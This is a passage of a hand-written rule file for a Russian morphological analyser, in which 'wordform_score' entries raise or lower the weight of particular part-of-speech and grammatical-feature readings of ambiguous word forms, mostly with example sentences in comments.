прилагательное }=-1 wordform_score коров { род:муж } = -2 // Без коров мужчины погибли бы. wordform_score ангел { род:жен } = -2 // А мисс Уиллоу была просто ангел. wordform_score слаб { глагол } = -1 // Просто ты слаб! //wordform_score писал { stress:"п^исал" } = -1 // Державин писал: //wordform_score писала { stress:"п^исала" } = -1 wordform_score сердит { глагол } = -1 // Он очень сердит. wordform_score ребят { падеж:зват } = -1 // Ребят пора вернуть wordform_score помочь { существительное } = -10 // мы хотим вам помочь wordform_score вон { существительное } = -1 // Я вон зарабатываю. wordform_score скалами { род:муж } = -5 // Миновав Море Акул, путешественники оказались над Крабьими Скалами. wordform_score воды { род:муж } = -5 // выпить воды wordform_score воде { род:муж } = -5 // рожать в воде wordform_score лук { род:жен } = -5 // возьми с собой лук wordform_score базе { род:муж } = -5 // заправлять на базе wordform_score порошки { род:жен } = -5 // Порошки не помогают... wordform_score обезвреживания { число:мн } = -5 // Разработали план обезвреживания. wordform_score трех { существительное } = -10 // Считаю до трех. wordform_score метель { глагол } = -10 // На улице метель. wordforms_score городской { существительное }=-1 // Существуют городские правила, касающиеся этих процедур. wordforms_score утесать {глагол}=-5 // Я утешу тебя. wordforms_score примереть {глагол}=-5 // Внутри пример wordforms_score запоить {глагол}=-5 // Я запою wordforms_score новое { существительное }=-5 // Начинаются поиски новых приемов, новых методов. wordforms_score просек { существительное }=-5 // Матросы переползали просеку. wordforms_score прививок { существительное }=-10 wordforms_score полок { существительное род:муж }=-5 // Началась переправа полков. wordforms_score уток { существительное род:муж }=-10 wordforms_score юр { существительное }=-10 wordforms_score наркотика { существительное род:жен }=-10 // Одно время она даже пыталась бросить наркотики wordforms_score полян { существительное род:муж }=-10 wordforms_score полянин { существительное род:муж }=-10 wordforms_score чужой { существительное }=-5 // голос ее стал чужим wordforms_score живой { существительное }=-5 // но оно было живым! wordforms_score пяток { существительное }=-5 // сверкать пятками wordforms_score ложок { существительное }=-5 // звякнуть ложками wordforms_score костра { существительное }=-5 // сжечь на костре wordforms_score роить { глагол }=-10 // Я рою траншеи wordforms_score ситце { род:ср }=-10 // шить из ситца wordforms_score взяток { существительное }=-10 // Врач попался на взятке wordforms_score сило { существительное }=-10 // Оставить в силе закон. wordforms_score покадить { глагол }=-5 // Я после покажу... wordforms_score выло { существительное }=-5 // Як не выл больше. wordforms_score вылезть { глагол }=-1 // Я медленно вылез. wordforms_score лунь { существительное }=-1 // Астронавты смогут оставаться на Луне в течение недели wordforms_score закроить { глагол }=-1 // Я потом закрою. wordforms_score вылезть { глагол }=-1 // Машинист вылез. wordforms_score охаять { глагол }=-1 // Кто охает? wordforms_score покадить { глагол }=-1 // Я покажу! wordforms_score ила { существительное род:жен }=-5 // Я раскопал ил wordforms_score ос { существительное род:муж }=-5 // В воздухе гудели мухи и осы. wordforms_score прикроить { глагол }=-2 // Атакуй, прикрою. wordforms_score ох { существительное }=-2 // Ей это ох как не нравилось. wordforms_score кровяный { прилагательное }=-2 // Стимулирует кровообращение и снижает кровяное давление. wordforms_score жило { существительное }=-5 // Именно так выглядит обычный кварц рудных жил. wordforms_score крон { существительное } =-5 // Видите эти могучие кроны, тяжелые плоды? wordforms_score утюжка { существительное }=-5 wordforms_score нар { существительное }=-2 wordforms_score подбора { существительное }=-10 wordforms_score кормило { существительное }=-10 wordforms_score дубка { существительное }=-2 // Сам горб порос крепкими дубками. wordforms_score кода { существительное }=-5 // Серые ячейки указывают на неназначенные коды wordforms_score песнь { существительное }=-1 // Проводится круглогодичный конкурс бардовской песни. wordforms_score тоника { существительное }=-10 wordforms_score рака { существительное }=-10 wordforms_score бахчевый { прилагательное }=-5 // Особое внимание уделялось бахчевым культурам. wordforms_score нецелевый { прилагательное }=-5 // Процветало нецелевое использование этих средств. wordforms_score запасный { прилагательное }=-5 // Пятигорский вокзал был запасным вариантом. wordforms_score бредовой { прилагательное }=-5 // Первая стопка содержала бредовые работы. wordforms_score меньшой { прилагательное }=-5 // Такие передачи имеют меньшую аудиторию. wordforms_score меховый { прилагательное }=-5 // Летняя распродажа меховых изделий продолжается! wordforms_score заводский { прилагательное }=-10 // Существует заводская группа внутренних аудиторов. wordforms_score щенка { существительное }=-10 // Продаются красивые щенки йоркширского терьера. wordforms_score кур { существительное }=-10 wordforms_score любый { прилагательное }=-10 // Для него любая власть является раздражителем. wordforms_score ванный { прилагательное }=-1 // большая ванная wordforms_score плавной { прилагательное }=-10 // Такая конструкция обеспечивает плавное перемещение wordforms_score санатория { существительное }=-10 wordforms_score шпалер { существительное }=-10 wordforms_score хромый { прилагательное }=-5 // Волшебный лепесток излечивает хромого мальчика. wordforms_score газа { существительное }=-1 // Раскаленные газы с чудовищной силой вырываются wordforms_score рейки { род:ср }=-10 // Многочисленные рейки стягивала стальная проволока. wordforms_score протяжной { прилагательное }=-5 // Каменные своды отозвались протяжным эхом. wordforms_score страстной { прилагательное }=-2 // Страстная любовь вызывает страстную борьбу. wordforms_score дневный { прилагательное }=-2 // Дневная суета сменилась полной тишиной. wordforms_score хромый { прилагательное }=-2 // Гони эту свору хромого горбуна! wordforms_score восковой { прилагательное }=-5 // Восковые свечи разливали мягкое сияние. wordforms_score угловый { прилагательное }=-5 // Угловая камера записала этот момент. wordforms_score пестрить { глагол }=-10 // Мировая пресса пестрит сенсационными сообщениями. wordforms_score чина { существительное }=-5 // Это требование поддержали высшие чины. wordforms_score языковый { прилагательное }=-5 wordforms_score половый { прилагательное }=-5 // Переполненный желудок затрудняет половой акт. wordforms_score шампанский { прилагательное }=-5 wordforms_score замок { глагол }=-10 // Замок небольшой и необычный. wordforms_score синоптика { существительное }=-5 // Русский сухогруз утопили турецкие синоптики. wordforms_score корректив { существительное род:муж }=-10 // Президентские выборы вносят определенные коррективы. wordforms_score поджога { существительное род:жен }=-10 // Умышленные поджоги стали доходным бизнесом. wordforms_score матерь { существительное }=-1 wordforms_score плюсовый { прилагательное }=-1 wordforms_score экой { прилагательное }=-1 // Экую несуразицу плетет этот мужик. wordforms_score овсяной { прилагательное }=-5 // Сморщенный чиновник жует овсяную лепешку. wordforms_score хмельный { прилагательное }=-1 // Остался ровный шелест хмельных кипарисов. wordforms_score спазма { существительное }=-10 // Пустой желудок разрывали болезненные спазмы. wordforms_score мазка { существительное }=-10 // Замельтешили нервные мазки ярких красок... wordforms_score громовый { прилагательное }=-5 // Эти вспышки сопровождались громовыми ударами. wordforms_score зарев { существительное }=-10 // Длинные пальцы налились красноватым заревом. wordforms_score шара { существительное }=-5 // Латунные шары заполнялись керосиновой смесью. wordforms_score корн { существительное }=-5 // в корне мандрагоры содержится наркотический сок wordforms_score справа { существительное }=-10 // Справа Дэни разглядела маленькое каменное святилище. wordforms_score теля { существительное }=-5 // Было чувство клаустрофобии в собственном теле. wordforms_score коленной { прилагательное }=-5 // 26-летний футболист получил растяжение коленного сустава. wordforms_score полом { существительное }=-5 // Бойцы рыли под полом окопы. wordforms_score бород { существительное }=-5 // Елена просит молодого мужа сбрить бороду. wordform_score присутствия { число:мн }=-5 // // Ей стало не хватать его присутствия. wordform_score косы { род:муж число:мн }=-10 // Ее косы были убраны под шапку. wordform_score обожания { число:мн }=-10 // Изливают любвеобильные лучи обожания wordform_score смелости { число:мн }=-10 // Ей просто недоставало смелости его сделать. wordform_score ясности { число:мн }=-10 // Черные ящики не добавили ясности. wordform_score с { частица }=-2 // // Загадали желания – ждем-с! wordform_score "ей-богу"{} = 10 // Ей-богу, отлично выйдет. wordform_score дыхания { число:мн }=-2 // Ее подключили к аппарату искусственного дыхания. wordform_score реставрации { число:мн }=-2 // Ее не ремонтировали со времен Реставрации. wordform_score бересты { число:мн }=-10 // Сверху настелили большие куски бересты. wordform_score охоты { число:мн }=-10 // Сезон охоты откроют 25 августа. wordform_score развития { существительное число:мн }=-10 // В Чувашии обсуждают проблемы инновационного развития регионов wordform_score наглости { существительное число:мн }=-10 // противопоставить наглости wordform_score еды { существительное число:мн }=-5 // хозяин должен дать еды wordform_score безопасности { существительное число:мн }=-5 // Его обвинили в пренебрежении вопросами безопасности. wordform_score выдержки { существительное число:мн }=-5 // Если хватит выдержки... wordform_score истерик { существительное }=-2 // И хватит истерик! wordform_score послезавтра { существительное }=-5 // Послезавтра утром проверю... wordform_score дискриминации { число:мн }=-5 // Его называли анахронизмом и признаком дискриминации. wordform_score полиции { число:мн }=-5 // Его доставили в 20-й отдел полиции. wordform_score уверенности { число:мн }=-10 // Его немое обожание придавало Анне уверенности. wordform_score насилия { число:мн }=-5 // А насилия Рекс никогда не совершит. wordform_score болтовни { число:мн }=-10 // А теперь хватит болтовни, Кейн. wordform_score оружия { число:мн }=-10 // А Филип вообще не любит оружия. wordform_score внимания { число:мн }=-10 // А на брата не обращай внимания. wordform_score бытия { число:мн }=-10 // Имеют телесную форму предшествовавшего бытия. wordform_score сочувствия { число:мн }=-5 // А вот Мария действительно заслуживает сочувствия. wordform_score разнообразия { число:мн }=-5 // Болото хотело разнообразия в компании. wordform_score ним { существительное }=-5 // А вместе с ним и свою душу. wordform_score ник { глагол }=-5 // А ты как думаешь, Ник? wordform_score тете { одуш:неодуш }=-1 // А перед этим послал тете цветы. wordform_score гораздо { прилагательное }=-5 // А кажется, что гораздо больше. wordform_score Калифорнии { число:мн }=-10 // А в Калифорнии сейчас цветет мимоза. wordform_score замок { глагол }=-10 // А на краю леса красивый замок. wordform_score мирке { род:жен }=-5 // В их мирке вдруг оказался третий. wordform_score жалости { число:мн }=-5 // В этом деле не знают жалости. wordform_score орала { существительное }=-5 // Я била подушки и орала в ярости. wordform_score яркости { число:мн }=-2 // Второй цвет добавляет яркости и выразительности. wordform_score выразительности { число:мн }=-10 // Второй цвет добавляет яркости и выразительности. wordform_score македонии { число:мн }=-10 // Встретились главы МИД России и Македонии. wordform_score бочками { род:муж }=-5 // Грузить апельсины бочками? wordform_score полдня { существительное }=-5 // Полдня шел дождь. wordform_score пол { падеж:род }=-5 // Меряю шагами пол. wordform_score правей { глагол }=-10 // Еще чуть правей... wordform_score чуточку { существительное }=-10 // Самолет чуточку подбросило. wordform_score правосудья { число:мн }=-10 // Жид хочет правосудья wordform_score единства { число:мн }=-10 // Партия хочет единства. wordform_score счастья { число:мн }=-10 // Все хотят счастья. wordform_score агрессии { число:мн }=-10 // Фашизм хочет агрессии?.. wordform_score горючки { число:мн }=-10 // Не хватило горючки. wordform_score усмирения { число:мн }=-10 // Потребовать усмирения Петрограда. wordform_score метель { глагол }=-15 // На улице метель. wordform_score ясней { глагол }=-10 // Куда уж ясней. wordform_score штурману { глагол }=-10 // Штурману тоже трудно. wordform_score целиком { существительное }=-10 // Скука съела целиком. wordform_score хмелю { глагол }=-10 wordform_score четкой { существительное }=-2 // Работа персонала была четкой wordform_score милую { глагол }=-10 wordform_score гордости { число:мн }=-10 // Есть другие предметы, достойные гордости. wordform_score тих { глагол }=-10 wordform_score инфраструктуры { число:мн }=-2 // РАЗРАБОТАЮТ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ЭЛЕКТРОННОЙ ИНФРАСТРУКТУРЫ. wordform_score ангелы { род:жен }=-5 wordform_score большие { СТЕПЕНЬ:СРАВН }=-10 // большие отели wordform_score больших { СТЕПЕНЬ:СРАВН }=-10 wordform_score большим { СТЕПЕНЬ:СРАВН }=-10 wordform_score большими { СТЕПЕНЬ:СРАВН }=-10 wordform_score физики { род:жен } =-5 // Волгоградские Физики совершили научную революцию. wordform_score хорошей { глагол }=-10 // хорошей душевой кабиной wordform_score стиле { существительное род:ср }=-2 // Продам свадебное платье в греческом стиле wordform_score молока { род:жен падеж:им }=-2 wordform_score Турции { число:мн }=-5 // В Турции муллы провозглашают священную войну. wordform_score гости { глагол }=-5 // В саду могут оказаться и гости. wordform_score администрации { число:мн }=-5 // Структуру администрации Краснодара изменят wordform_score горячим { глагол }=-5 wordform_score свежую { глагол }=-5 // свежую рыбу wordform_score голубой { существительное }=-10 // за дверью жил голубой лев wordform_score фанту { род:муж }=-5 wordform_score фанте { род:муж }=-5 wordform_score баню { ГЛАГОЛ }=-5 wordform_score бань { ГЛАГОЛ }=-5 wordform_score сласти { ГЛАГОЛ }=-10 wordform_score сыр { ПРИЛАГАТЕЛЬНОЕ }=-5 wordform_score сыра { ПРИЛАГАТЕЛЬНОЕ }=-5 wordform_score сыры { ПРИЛАГАТЕЛЬНОЕ }=-5 wordform_score альбом { ПАДЕЖ:ТВОР }=-5 // По запросу могу показать альбом. wordform_score хоре { падеж:предл одуш:одуш }=-5 // подпевать в церковном хоре wordform_score Европы { число:мн }=-5 // Ее считали прекраснейшей женщиной Европы. wordform_score свежую { глагол }=-6 // свежую форель wordform_score содействия { число:мн }=-5 wordform_score общества { число:мн }=-1 // Индивидуальную честность связали с прогрессивностью общества wordform_score подготовки { число:мн }=-5 // Процесс подготовки спутника к запуску уместили в короткий видеоролик wordform_score недвижимости { число:мн }=-10 // Тест: способны ли вы отличить рекламу недвижимости от рекламы презервативов? wordform_score родины { число:мн }=-2 // Кандидата «Родины» уличили в получении поддельного военного билета wordform_score защиты { число:мн }=-2 // Google просит защиты у Аркадия Дворковича wordform_score освобождения { число:мн }=-5 // В Болгарии отпраздновали годовщину освобождения от османского ига wordform_score веры { число:мн }=-5 // Папу Римского призвали отказаться от догмата своей непогрешимости в вопросах веры wordforms_score гнома { существительное }=-10 // Но гномы начали погоню wordform_score рада { существительное }=-2 wordform_score полон { существительное }=-10 // а этот полон ненависти wordform_score Марин { существительное }=-2 // Алла отпустила Марину wordforms_score снимка { существительное }=-5 wordforms_score ям { существительное }=-5 wordforms_score купа { существительное }=-5 // мы нашли в его купе wordforms_score половый { прилагательное }=-5 wordforms_score теста { существительное }=-5 // выявляться тестами wordforms_score гриба { существительное }=-5 // отравиться грибами wordforms_score босый { прилагательное }=-5 // ноги ее были босые wordforms_score арен { существительное }=-5 wordforms_score плат { существительное }=-5 wordforms_score теста { существительное род:жен }=-5 wordforms_score бара { существительное род:жен }=1 // праздновать в баре wordform_score погиб { существительное }=-5 wordforms_score хора { существительное }=-5 wordforms_score дворовой { прилагательное }=-5 wordforms_score сводной { прилагательное }=-5 wordforms_score шпор { существительное }=-5 wordform_score сдачи { число:мн }=-2 // Сдачи не надо. wordforms_score комара { существительное }=-5 wordforms_score бара { существительное }=-5 wordforms_score теста { существительное }=-5 wordforms_score венка { существительное }=-5 wordforms_score метода { существительное }=-5 wordforms_score мор { существительное }=-5 wordforms_score мора { существительное }=-5 // Море достаточно холодное wordform_score трое { существительное }=-5 // трое из мира людей wordform_score повезло { глагол }=-2 // - Не повезло тебе. wordforms_score распоряженье { существительное }=-5 // Полицейские стали ждать дальнейших распоряжений. wordforms_score варианта { существительное род:жен }=-10 // Для разных ситуаций есть предпочтительные варианты. wordforms_score лангуста { существительное }=-10 // В рыбном купила огромного сырокопченого лангуста. wordforms_score верховый { прилагательное }=-5 // Бывало, возьмут верховых лошадей и уедут в поле. wordforms_score об { существительное }=-10 wordforms_score слушанье { существительное }=-5 // Регламент проведения публичных слушаний утверждается постановлением городского парламента. wordforms_score леса { существительное }=-5 // В алтайских лесах истребили сибирского коконопряда, объедающего хвою wordforms_score рельса { существительное }=-1 // В основном были подорваны рельсы на второстепенных запасных путях. wordforms_score перекрытье { существительное }=-5 // Лишь в одной части здания перекрытия оказались бетонными. wordforms_score бракосочетанье { существительное }=-5 // Но в понедельник во Дворце бракосочетания был выходной. wordforms_score благополучье { существительное } =-5 // В полном благополучии путешественники достигли Вефиля. wordforms_score лет { род:муж }=-5 // Летом в этой бухте собиралась целая флотилия яхт. wordforms_score снов { существительное }=-10 wordforms_score така { существительное }=-5 // Сигнал бедствия от лыжницы так и не поступил. wordforms_score корпусный { прилагательное }=-5 // Снаряд выпустила наша батарея 5-го корпусного артиллерийского полка. wordforms_score окружный { прилагательное }=-5 // В Агинском округе началась внеочередная сессия окружной думы. wordforms_score входный { прилагательное }=-5 // Для делегатов напечатали специальные входные билеты. wordforms_score образной { прилагательное }=-5 // Образное выражение, однако, отражает реальную жизнь. wordforms_score окружный { прилагательное }=-5 // Финансирование осуществлялось из окружного бюджета. wordforms_score дверный { прилагательное }=-5 wordforms_score личной{ прилагательное }=-5 // - А ты пробовал концентрировать свои личные мысли? wordforms_score основный{ прилагательное }=-5 // Основные "боевые" мероприятия проходят в Самаре. wordforms_score мирной{ прилагательное }=-5 // Уже в мирное время миссии тачали хорошие сапоги; wordforms_score ЧЕСТНОЙ{ прилагательное }=-5 // Это было хорошее, честное, благородное желание. wordforms_score РОДНЫЙ{ прилагательное }=-5 // Израильские танкисты приняли меня как родного. wordforms_score назначенье{ существительное }=-5 // В администрации Алтайского края произошел ряд отставок и назначений wordforms_score кадра{ существительное }=-5 wordforms_score перекрытье{ существительное }=-5 // Лишь в одной части здания перекрытия оказались бетонными. wordforms_score увечье{ существительное }=-5 // Жертва аварии скончалась в больнице от полученных увечий. wordforms_score исключенье{ существительное }=-5 // Однако из этого правила существует несколько исключений. wordforms_score подкрепленье{ существительное }=-5 // При этом используется вероятностная схема подкреплений. wordforms_score нет{ существительное }=-5 // решение жениться или нет можешь принять только ты сам. wordforms_score признанье{ существительное }=-5 // wordforms_score втора{ существительное }=-5 wordforms_score настроенье{ существительное }=-5 // Но антироссийских настроений вы в Грузии не найдете. wordforms_score заседанье{ существительное }=-5 // Семеро акционеров не были допущены в зал заседаний. wordforms_score сбора{ существительное }=-5 // В ближайшее время Денис улетает на очередные сборы. wordforms_score предложенье{ существительное }=-5 // Вячеслав Евгеньевич готовит свой пакет предложений. wordforms_score свитка{ существительное }=-5 // В кумранских свитках нередко встречается тайнопись wordforms_score носка{ существительное }=-5 // Из-под подола выглядывали белые спортивные носки. wordforms_score дыханье{ существительное }=-5 // При виде обнажившихся грудей перехватило дыхание. wordforms_score усилье{ существительное }=-5 // Бесконечная борьба требовала беспрестанных усилий. wordforms_score помещенье{ существительное }=-5 // Для обработки помещений ядами привлекают бомжей. wordforms_score до{ существительное }=-5 // Санкционированная акция прошла с 16 до 17 часов. wordforms_score ПАРКА{ существительное }=-5 // Королевские парки занимали обширную территорию. wordforms_score НИМ{ существительное }=-5 // Василий, не отрываясь, следит за ним взглядом. wordforms_score СТОЛА{ существительное }=-5 // На столе могут вырастать лужайки зеленой пищи. wordforms_score низка { существительное }=-5 wordforms_score мешка{ существительное }=-5 // Мешки с углем один за другим полетели в темную воду. wordforms_score стен { существительное }=-5 // По стенам развеваются блестящие знамена света. wordforms_score ряда { существительное }=-5 wordforms_score так { существительное }=-5 wordforms_score снова { существительное }=-5 wordforms_score лагер { существительное }=-5 wordforms_score гор { существительное }=-5 wordforms_score карт { существительное }=-5 // Военные топографы и геодезисты сверяют карты. wordforms_score зала { существительное }=-5 wordforms_score зало { существительное }=-5 wordforms_score миро { существительное }=-5 // В макротеле Мира отпечатывается мировая душа. wordforms_score мира { существительное }=-5 wordforms_score облак { существительное }=-5 // По ночным облакам зарумянилось дымное зарево. wordforms_score троп { существительное }=-5 // По берегу идут нерегулярные туристские тропы. wordforms_score пещер { существительное }=-5 wordforms_score ко{ существительное }=-10 // Разумеется, ко мне он больше не показывался. wordforms_score суда{ существительное }=-5 // В ближайшее время начнется его рассмотрение в суде. wordform_score "то и дело" { наречие }=5 // Во всяком случае, не придется то и дело нагибаться. wordform_score "воды" { число:мн } =-1 // они дали ему воды wordform_score "лицо" { одуш:одуш } =-1 wordform_score "лица" { одуш:одуш } =-1 // Ему даже делают специальный массаж лица. wordform_score "лицу" { одуш:одуш } =-1 wordform_score "лице" { одуш:одуш } =-1 wordform_score "лицом" { одуш:одуш } =-1 wordform_score "замок" { глагол } =-5 // замок на горе wordform_score "самогонки" { число:мн } = -1 // Пришлось добавить самогонки. wordform_score "интуиции" { число:мн } = -1 // Больше доверяют интуиции. wordform_score "воды" { число:мн } = -1 // Джек добавил воды. wordform_score "во" { вводное } = -2 // В детях эта программа усиливается во много раз. wordform_score "на" { глагол } =-1 // В эфир выходили на несколько секунд. wordform_score "веселей" { глагол } = -8 // В колонне веселей. wordform_score "гранит" { глагол } = -3 // Почем гранит науки? wordform_score "катя" { деепричастие } = -2 // Катя, давай! wordform_score "прочь" { глагол } = -5 // пойти прочь wordform_score "сволочь" { глагол } = -5 // - Сволочь! wordform_score "юля" { деепричастие } = -2 // Юля, уважь человека. wordform_score "катя" { деепричастие } = -2 // я направляюсь сюда, Катя. wordform_score "женя" { деепричастие } = -2 // Я больше не буду, Женя. wordform_score "нашей" { глагол } = -3 // - А вот и первые плоды нашей работы! wordform_score "Камчатки" { число:мн } = -2 // К аварийной подстанции в столице Камчатки подключают новый трансформатор wordform_score "воротам" { род:муж } = -2 // Беседуя, они подошли к воротам. wordform_score "один" { существительное } = -5 // Значит, он не один. wordform_score "то-то" { частица } = 2 // То-то выслуживается, вас гоняет. wordform_score "погреб" { глагол } =-2 // А вот погреб... wordform_score "просим" { прилагательное } = -5 // Просим всей группой. wordform_score "крови" { число:мн } = -5 // Скорее разойдитесь, не проливая крови! wordform_score "скоро" { прилагательное } = -4 // Скоро в строй? wordform_score "подъем" { глагол } = -5 // Подъем, товарищ майор! wordform_score "порой" { глагол } = -5 // И порой не без успеха. wordform_score "порой" { существительное } = -1 // Они ворчат порой. wordform_score "погоды" { число:мн } = -3 // По случаю чудной погоды Алексея тоже вывозили кататься. wordform_score "дарим" { прилагательное} = -5 // - Решено, дарим один ящик командиру полка! wordform_score "хватит" { глагол } = -1 // - На одну атаку хватит. wordform_score "как ни в чем не бывало" { наречие } = 1 // Ординарец в сенях спал как ни в чем не бывало. wordform_score "разве что" { наречие } = 1 // Так жарко бывает разве что перед грозой. wordform_score "потому что" { союз } =5 // - Потому что мне так нравится. wordform_score "на поводу у"{ предлог} = 1 // Нельзя идти на поводу у таких состояний wordform_score "что" { наречие } = -8 wordform_score "так что" { наречие } = -5 // Ну, так что вы скажете? wordform_score "вот" { наречие } = -3 wordform_score "Иду" { существительное } = -3 // - Иду к тебе! wordform_score "хотите" { НАКЛОНЕНИЕ:ПОБУД } = -5 wordform_score "всего" { наречие } = -4 // Он всего боялся wordform_score "всего лишь" { наречие } = 2 wordform_score "еле-еле" { наречие } = 2 wordform_score "туда-сюда" { наречие } = 2 wordform_score "туда-то" { наречие } = 2 wordform_score "отчего-то" { наречие } = 2 wordform_score "когда-то" { наречие } = 2 wordform_score "чуть-чуть" { наречие } = 2 wordform_score "так-то" { наречие } = 2 wordform_score "наконец-то" { наречие } = 2 wordform_score "туда-то" { наречие } = 2 wordform_score "тут-то" { наречие } = 2 wordform_score "Наконец-то" { наречие } = 2 wordform_score "добро" { наречие } = -4 // - Знаю я это добро. wordform_score "должно" { наречие } = -5 // Но так и должно быть. wordform_score "тем не менее" { наречие } = 1 wordform_score "прежде всего" { наречие } = 1 // Нужно прежде всего знать группу крови. wordform_score "выходит" { наречие } = -2 // это из тебя страх так выходит wordform_score "трибуны" { одуш:одуш } = -2 // Трибуны взрываются аплодисментами. wordform_score "по прошествии" { предлог } = 5 // По прошествии двух дней следствие не может установить их личности. wordform_score "сроком на" { предлог } = 2 // Аэропорт перешел в управление компании сроком на 30 лет. // Я ничего подобного не видал wordform_score "ничего" { наречие } = -5 // Не было таких прецедентов пока что. // ^^^^^^^^ wordform_score "пока что" { наречие } = 1 wordform_score "приводим" { прилагательное } = -5 // Приводим полный текст этого заявления. // Она поколебалась, прежде чем ответить. // ^^^^^^^^^^ wordform_score "прежде чем" { союз } = 1 wordform_score "а то" { союз } = 1 // А то тебе плохо станет. wordform_score "не то" { союз } = 1 // Вставай, не то опоздаем wordform_score "а не то" { союз } = 1 // Сядь, а не то упадешь // кости у всех одинаковые // ^^^^^ wordform_score "кости" { глагол } = -3 wordform_score "чести" { глагол } = -3 // Мы знаем друг друга много лет // ^^^^^^^^^^ wordform_score "друг друга" { существительное падеж:парт } = -1 // Текст речи премьер-министра // ^^^^^^^^^^^^^^^^ wordform_score "премьер-министр" { существительное } = 1 wordform_score "премьер-министра" { существительное } = 1 wordform_score "премьер-министром" { существительное } = 1 wordform_score "премьер-министру" { существительное } = 1 wordform_score "премьер-министре" { существительное } = 1 wordform_score "премьер-министры" { существительное } = 1 wordform_score "премьер-министров" { существительное } = 1 wordform_score "премьер-министрами" { существительное } = 1 wordform_score "премьер-министрам" { существительное } = 1 wordform_score "премьер-министрах" { существительное } = 1 // Хотим получить максимум информации // ^^^^^^^^^^ wordform_score "информации" { существительное число:мн } = -5 wordform_score "тому назад" { послелог } = 1 // Он просто вынужден закончить цикл историй, так как ограничены размеры книги. wordform_score "так как" { союз } = 5 // Поможем ему сена накосить // ^^^^ wordform_score "сена" { существительное число:мн } = -5 // Подавляем множественное число "ПУШОК": // "Мы видели их пушки" wordform_score "пушки" { существительное род:муж } = -5 wordform_score "это" { частица } = -2 // Кажется, вчера еще бродил я в этих рощах. wordform_score "кажется" { наречие } = -2 wordform_score "лицом к лицу" { наречие } = 5 // из конюшни они возвращались бок о бок. wordform_score "бок о бок" { наречие } = 2 // люди спят тем более. wordform_score "тем более" { наречие } = 2 wordform_score "в связи с" { предлог } = 1 // то есть могла бы wordform_score "то есть" { союз } = 3 // ПОКАДИТЬ(ПОКАЖУ) // wordform_score "покажу" { глагол глагол:покадить{} } = -5 // ПРОПАСТЬ>ПРОПАЛИТЬ(ПРОПАЛИ) wordform_score "пропали" { глагол наклонение:побуд } = -5 // ПОПАСТЬ > ПОПАЛИТЬ wordform_score "попали" { глагол наклонение:побуд } = -5 // предпочитаем вариант безличного глагола: //wordform_score "оставалось" { глагол } = -2 //wordform_score "остается" { глагол } = -2 //wordform_score "останется" { глагол } = -2 //wordform_score "осталось" { глагол } = -2 wordform_score "стали" { существительное число:мн } = -5 wordform_score "стали" { существительное падеж:род } = -3 // Жаль, если принятые обязательства не выполняются // ^^^^ wordform_score "жаль" { глагол } = -3 wordform_score "давным-давно" { наречие } = 2 // Можно ли сейчас применять старые методы? wordform_score "методам" { существительное род:жен } = -5 wordform_score "методах" { существительное род:жен } = -5 wordform_score "методу" { существительное род:жен } = -5 wordform_score "методе" { существительное род:жен } = -5 wordform_score "метода" { существительное род:жен } = -5 wordform_score "методы" { существительное род:жен } = -5 // Не вижу необходимости // ^^^^^^^^^^^^^ wordform_score "необходимости" { число:мн } = -1 wordform_score "о" { частица } = -2 wordform_score "Спешите" { наклонение:побуд } = -1 // отдадим преимущество безличной форме: // мне удалось поспать // ^^^^^^^ wordform_score "удалось" { глагол } = -3 // Придавим вариант "ПАР^ОК" // В парке был бассейн с золотыми рыбками. // ^^^^^ wordform_score "парке" { ПЕРЕЧИСЛИМОСТЬ:НЕТ } = -10 // слово БЫЛО редко выступает в роли наречия, но иногда бывает: // один из воинов пошел было к дверям // ^^^^ wordform_score "было" { наречие } = -10 // Это было примерно месяц назад wordform_score "примерно" { прилагательное } = -2 // чтобы подавить ВРЯД(ЛИ) wordform_score "вряд ли" { наречие } = 2 // при помощи женской страсти? // ^^^^^^^^^^ wordform_score "при помощи" { предлог } = 5 wordform_score "Владимиру" { существительное род:жен } = -2 wordform_score "Владимира" { существительное род:жен } = -2 wordform_score "Владимире" { существительное род:жен } = -2 // у тебя впереди серьезное дело wordform_score "дело" { глагол } = -5 wordform_score "правды" { существительное число:мн } = -2 // ты сволочь wordform_score "сволочь" { глагол } = -2 // во мне все же росло беспокойство wordform_score "росло" { прилагательное } = -1 // конкуренция между ЗАБРАТЬ.гл и ЗАБРАЛО.сущ wordform_score "забрала" { существительное } = -2 wordform_score "забрало" { существительное } = -2 wordform_score "забрал" { существительное } = -2 // обычно ЗАВТРА - наречие: // можно зайти за этим завтра? // ^^^^^^ wordform_score "завтра" { существительное } = -10 wordform_score "сегодня" { существительное } = -15 // взять деньги wordform_score "деньги" { существительное падеж:род } = -10 // Подавляем просторечный вариант "Сашок" // Сашка не знал wordform_score "Сашка" { существительное падеж:вин } = -1 wordform_score "Сашка" { существительное падеж:род } = -1 // обычно это - прилагательное wordform_score "простой" { глагол } = -1 // есть варианты ТУШЬ и ТУША (помимо глагола ТУШИТЬ). Вариант ТУШЬ гасим. wordform_score "тушь" { существительное одуш:неодуш } = -5 // обычно ПОЧТИ - это наречие // Почти совсем темно. // ^^^^^ wordform_score "почти" { глагол } = -5 // теперь самое время бросить кости wordform_score "кости" { глагол } = -5 wordform_score "брехло" { наречие } = -10 wordform_score "силой" { наречие } = -2 wordform_score "может" { вводное } = -1 // скорее доедай wordform_score "скорее" { вводное } = -1 wordform_score "пять" { глагол } = -5 wordform_score "спины" { существительное род:муж } = -1 wordform_score "спинах" { существительное род:муж } = -1 wordform_score "спине" { существительное род:муж } = -1 // хозяин дает корм псам wordform_score "корм" { существительное род:жен падеж:род } = -5 // несмотря на жару, солдаты носили шлемы и кирасы. wordform_score "несмотря на" { предлог } = 10 // В соответствии с шариатом, свинину употреблять запрещено // ^^^^^^^^^^^^^^^^ wordform_score "В соответствии с" { предлог } = 2 wordform_score "В соответствии со" { предлог } = 2 // В Дамаске в ходе ракетного обстрела погиб чиновник Евросоюза // ^^^^^^ wordform_score "в ходе" { предлог } = 2 // Мы пошли вместе по направлению к городу. // ^^^^^^^^^^^^^^^^ wordform_score "по направлению к" { предлог } = 2 wordform_score "по направлению ко" { предлог } = 2 // шеф просит еще раз проверить // wordform_score "еще раз" { наречие } = 10 // очень трудно найти задачу по силам wordform_score "по силам" { безлич_глагол } = -1 // есть все же средства // ^^^^^^ wordform_score "все же" { наречие } = 10 // все время находился в командировках // ^^^^^^^^^ //wordform_score "все время" { наречие } = 2 // Однако эти средства до сих пор не дошли до реального сектора экономики wordform_score "до сих пор" { наречие } = 10 // сбыться на самом деле wordform_score "на самом деле" { наречие } = 10 // Лошадь встала на дыбы. wordform_score "встать на дыбы" { инфинитив } = 2 